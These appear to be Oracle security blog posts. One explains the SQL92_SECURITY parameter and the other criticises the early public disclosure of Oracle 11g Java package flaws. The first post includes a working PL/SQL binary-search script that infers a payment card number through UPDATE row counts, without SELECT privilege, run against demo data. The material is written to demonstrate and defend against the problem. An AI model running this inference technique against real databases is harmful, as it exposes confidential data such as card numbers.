SQL92_SECURITY

The Oracle database initialization parameter SQL92_SECURITY is an often overlooked security parameter. Either because people don't understand it or because they think it's irrelevant.

So what does it do? Well, to quote the documentation:

"The SQL92 standards specify that security administrators should be able to require that users have SELECT privilege on a table when executing an UPDATE or DELETE statement that references table column values in a WHERE or SET clause. SQL92_SECURITY specifies whether users must have been granted the SELECT object privilege in order to execute such UPDATE or DELETE statements."

At this point most DBAs shrug and ignore it or make a comment like "Oh that doesn't affect us". But how do they know?

First you need to understand the risk, then you need to verify that it doesn't affect your site, which isn't that easy believe me.

So what's the risk? If a user has update or delete privileges on a table but not select, they can still determine the contents of the table by performing an update/delete on the table by using the where clause and rolling back the change.

For example:

SQL> delete from emp where salary > 100000;

2 rows updated

SQL> rollback;

Rollback complete

Okay so from that we can determine that two employees are paid over 100,000. We can continue in his fashion, trying different where clauses and eventually work out the exact figure of the highest earner and even all the exact figures of all the salaries in the table. It just takes a little patience. The fact that it would take so long to determine the value of a column is the main reason why most people tend to dismiss this risk.

However as with all monotonous tasks these things can be automated. I wrote a demonstration for our database security workshop. It goes something like this:

Firstly, we'll need an application schema with a couple of tables. How about a customer table and a payment card table:

SQL> show user
USER is "SYSTEM"
SQL> create user appowner identified by appowner
2     quota unlimited on users;

User created.

SQL> alter user appowner quota unlimited on users;

User altered.

SQL> create table appowner.customers
2     ( customer_id   number(8)
3     , first_name    varchar2(40)
4     , surname       varchar2(40)
5     , address_line1 varchar2(40)
6     , address_line2 varchar2(40)
7     , city          varchar2(40)
8     , post_code     varchar2(12))
9     tablespace users;

Table created.

SQL> create table appowner.payment_cards
2     ( customer_id  number(8)
3     , card_issuer  varchar2(30)
4     , card_type    varchar2(8)
5     , card_holder  varchar2(30)
6     , card_number  number(16)
7     , valid_from   number(4)
8     , valid_to     number(4)
9     , issue_number number(2)
10     , ccv          number(3))
11     tablespace users;

Table created.

SQL> insert into appowner.customers
2     values
3        (1,'Joe','Smith','123 Northumperland Ave',NULL,'London','WC2N 5EA');

1 row created.

SQL> insert into appowner.customers
2     values
3        (2,'John','Dennis','12 Bennett Street',NULL,'Manchester','M12 5ND');

1 row created.

SQL> insert into appowner.payment_cards
2     values
3        (1,'ACME','MC','MR JOE SMITH',7337548484843212,NULL,1109,NULL,954);

1 row created.

SQL> insert into appowner.payment_cards
2     values
3        (2,'HSBC','VISA','MR JOHN DENNIS',8200455615154434,NULL,1012,NULL,221);

1 row created.

Then we'll need an application user:

SQL> create user appuser identified by appuser;

User created.

SQL> grant create session to appuser;

Grant succeeded.

Now we just need to give our user privileges on the tables. In this example we're going to give our user full privileges on the customer table but only update on the payment card table.

SQL> grant select, insert, update, delete on appowner.customers to public;

Grant succeeded.

SQL> grant update on appowner.payment_cards to public;

Grant succeeded.

Okay here we go.... From the APPUSER account we can query the customer table and pick a customer. We can describe the payment card table and see that it has a customer_id column (which we can assume is the foreign key). But the one we really want to know is the card number column. But first let's verify that there is a record in the payment_cards table for our customer.

SQL> connect appowner/appowner
Connected.
SQL> select customer_id, first_name, surname from appowner.customers;

CUSTOMER_ID FIRST_NAME
----------- ----------------------------------------
SURNAME
----------------------------------------
    1 Joe
Smith

    2 John
Dennis


2 rows selected.

SQL> select * from appowner.payment_cards where customer_id=2;
select * from appowner.payment_cards where customer_id=2
                 *
ERROR at line 1:
ORA-01031: insufficient privileges


SQL> update appowner.payment_cards
2     set ccv=ccv
3     where customer_id=2;

1 row updated.

SQL> rollback;

Rollback complete.

Okay I know I didn't really need to do the rollback but it's a good habit to get into when playing with this stuff. ;-)

Right now the fun bit... to try and determine the payment card number. Theoretically the quickest way is a binary chop.

SQL> set serveroutput on size 1000000
SQL> set timing on
SQL> declare
2     c_customer_id constant integer := 2; -- Hardcoded CUSTOMER_ID
3     v_max number(16) := 9999999999999999;
4     v_min number(16)  := 0;
5     v_test number(16) := null;
6  begin
7     while v_min != v_max
8     loop
9        -- Uncomment if you want to see it in action
10        --dbms_output.put_line(v_min||'-'||v_max);
11        --
12        v_test := floor(((v_max - v_min)/2)+v_min);
13        --
14        update appowner.payment_cards
15        set card_number = card_number
16        where customer_id = c_customer_id
17        and   card_number <= v_test;
18        --
19        if sql%rowcount = 0
20        then
21           v_min := v_test+1;
22        else
23           v_max := v_test;
24        end if;
25     end loop;
26     --
27     dbms_output.put_line(' Customer ID: '||c_customer_id);
28     dbms_output.put_line('Payment card: '||v_min);
29     --
30  end;
31  /
Customer ID: 2
Payment card: 8200455615154434

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.02

Bingo!

What amazed me was just how quick it was, less than a second to determine a 16 digit number. Of course we can do the same with the other columns and in fact with a little time we could probably automate the whole thing... Identify the primary key, isolate each record one at a time and then, column by column, determine the values. In fact who says someone hasn't already written the code to do it. :-p

My example probably isn't very realistic. But I do see this on customer sites, normally it's involving the SYS.AUD$ table where they have a batch job for clearing down the audit trail.

As I mentioned at the beginning, apart from not understanding the risk, the other reason this issue is often overlooked is that it's a fairly rare occurrence. That is, it's not often that a user has update or delete privileges but not select and therefore most DBAs dismiss it. And you can understand it. But if they're so confident that there are no users with update/delete but no select privileges on any tables then why not set SQL92_SECURITY to TRUE? The reason is that it's actually quite hard to prove.

You may be thinking, "It's simple! A quick query against DBA_TAB_PRIVS with a NOT EXISTS or a MINUS and Robert is your father's brother". But you're forgetting database roles and system privileges. Fortunately I wrote some code at work to drill down through all the nested roles and check for users with this unusual set of privileges.

It's available for download from Pentest's Downloads page it's called sql92_security_chk.sql and sql92_security_chk_11g.sql. ( The reason for the two version is that for performance reasons I used the underlying data dictionary tables as against the human readable views. Unfortunately Oracle changed one of the tables in 11g.)

So no excuses, run the query on your database, if it comes back with nothing then go ahead and set SQL92_SECURITY to TRUE. However if it comes back with something; you need to be asking yourself if these users require these update/delete privileges. Or of course it may highlight cases where users are lacking required SELECT privileges.

I have to say, I'm really surprised that Oracle haven't made this TRUE by default. They've made some really good progress over the last couple of releases to make the database more secure out of the box. And this is one of those parameters where if it did default to TRUE most people would just accept it. So come on Oracle, sort it out! I'm expecting the next release to have this resolved. ;-)

Responsible disclosure!

David Litchfield of NGS Software recently gave a presentation at Black Hat DC 2010 entitled "Hacking Oracle11g". In this presentation he discloses a couple of vulnerabilities that allow an unprivileged database user to execute arbitrary commands on the database host. In Linux/Unix environments this mean running commands as the Oracle owner (normally "oracle") and on Windows environments as "Administrator". Subsequently this also means that the database itself is completely comprised, which David goes on to demonstrate.

Now I'm not here to repeat the details of the vulnerabilities or exploits, you can easily find these on other Oracle Security blogs or via a quick Google for DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS. Or even go to the Black Hat website yourself and download the video of David's presentation.

The vulnerabilities are very interesting and not your usual SQL inject or buffer overflow problems. No no, these are inherent design flaws where someone hasn't properly considered the correct default privileges for powerful internal packages.

It is a bit lapse of Oracle, however my big concern is that David says that he informed Oracle of these problems last year and that Oracle haven't released a fix yet. But then goes and demonstrates them at a major conference.

Now David admits that he and Oracle have been "Bashing heads for some time." Which is an understatement, as this is not the first time he's released details of vulnerabilities before a fix is available.

I am not sure if David intented to make this public. During his presentation he does say "I reported this back to Oracle last year and was hoping that it was going to be patched in the [last] CPU but since we're a limited audience I decided to go ahead with the talk. There is going to be a White Paper that will be released to the general public at a much later date when Oracle have actually released fixes for this. But until such time the actual paper will not be made public. So you're getting a sneak preview so... shhhhh!"

Whether he knew that the video and audio of his presentation would be made available for download on the Black Hat site we don't really know.

The net result is that now the vulnerabilities are public, Oracle hates him even more than they did before and millions of Oracle customers are now panicking (or should be).

I appreciate that he's spent many hours of research to find these problems and quiet rightly wants credit for his hard work. And that it must be frustrating waiting for vendors to investigate, fix and test reported problems. I'm sure it seems like Oracle have been moving at a glacial pace, but we don't know what the Oracle Security Team has on their plate or what other issues the resolution causes. At the end of the day we all want a fix that has been fully tested... don’t we?

Of course this raises the age old issue of “What is responsible disclosure?” Some say that it’s responsible to disclose vulnerability issues following a certain timeframe after informing the vendor (e.g. a year, a month or a week). Some say it’s ok to disclose vulnerabilities to a “Select few” (e.g. a government working group, some paying customers or a trust worthy looking bloke in the bar). But really, disclosing vulnerability details to anyone other than the vendor before a solution is released is just bragging rights. It serves no purposes, other than to massage the egos of researchers and expose countless sites to attack.

And before you say “That it forces vendors to take bugs seriously and fix them as a priority”, I can assure you that Oracle’s Security Team do take these issues seriously, but they also take product stability seriously. Not to mention all the other stuff they have to deal with. I know for a fact that only a small number of issues reported to them actually turn out to be valid, but they have to treat each one as a potential serious bug and spend vast amounts of time trying to reproduce the problem. They also have far more issues reported via internal sources than from external researchers. Although I do concede they may have been a little overworked since Larry went on a spending spree.

Anyway what’s done is done, and you can’t take back what’s been said. So if you haven’t already, I strongly recommend you revoke public access on the following packages:

· DBMS_JAVA

· DBMS_JAVA_TEST

· DBMS_JVM_EXP_PERMS